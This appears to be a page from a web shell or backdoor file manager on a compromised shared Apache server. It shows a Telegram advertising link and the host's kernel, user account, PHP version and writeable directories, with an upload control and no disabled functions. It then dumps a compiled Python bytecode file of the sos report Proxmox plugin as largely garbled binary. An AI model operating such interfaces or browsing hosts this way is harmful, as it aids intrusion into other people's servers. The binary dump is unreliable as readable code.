https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/proxmox.cpython-310.pyc
o

-�_g��@s2ddlZddlmZmZmZGdd�dee�ZdS)�N)�Plugin�DebianPlugin�	PluginOptc@s<eZdZdZdZdZdZedddd�gZd	d
�Z	dd�Z
d
S)�Proxmoxz�
    This plugin will capture information about the system's
    Proxmox Virtualization Environment.

    It will collect information about the cluster, nodes, pools and
    storage from the Proxmox API.
    zProxmox cluster information�proxmox)z
proxmox-ve�output-formatsz@List of output formats to use for the commands separated by ":".�text)�desc�defaultcsR|�d��d��gd�}g}|D]
}|�|�|��q|��fdd�|D��dS)Nr�:)zcluster/resourceszcluster/config/nodeszcluster/optionsznodes/:id/statusznodes/:id/storageznodes/:id/network�pools�storagezstorage/:sidzcluster/ceph/statuszcluster/ceph/metadatazcluster/ceph/flagsc	s8g|]}�D]}d|�d|dkrdnd�d|���qqS)z
pvesh get � rz
--noborder�z --output-format �)�.0�cmd�format��output_formatsr�</usr/lib/python3/dist-packages/sos/report/plugins/proxmox.py�
<listcomp>;s����z!Proxmox.setup.<locals>.<listcomp>)�
get_option�split�extend�build_cmd_paths�add_cmd_output)�self�commands�	cmd_paths�commandrrr�setup$s�z
Proxmox.setupc

Cs�|�d�}g}tdd�t|�D�d�}|durZd�|d|��}d�||dd��}|�d|�d��}|dd	krXt�|d
�}|D]}	|�|�|�d|	d�d|����qC|S|�	d�|��|S)z�
        Build command paths,
        replacing dynamic attributes with data from the API

        :param base_path: The base path to build from
        :type base_path: str

        :return: A list of paths
        �/css"�|]\}}|�d�r|VqdS)rN)�
startswith)r�i�partrrr�	<genexpr>Os�
�z*Proxmox.build_cmd_paths.<locals>.<genexpr>N�z	pvesh ls z --output-format json�statusr�output�name)
r�next�	enumerate�join�exec_cmd�json�loadsrr�append)
r�	base_path�parts�paths�id_index�path�
trailing_path�results�children�childrrrrBs(

����zProxmox.build_cmd_pathsN)�__name__�
__module__�__qualname__�__doc__�
short_desc�plugin_name�packagesr�option_listr!rrrrrrs��r)r/�sos.report.pluginsrrrrrrrr�<module>s	

https://t.me/RX1948 - 2025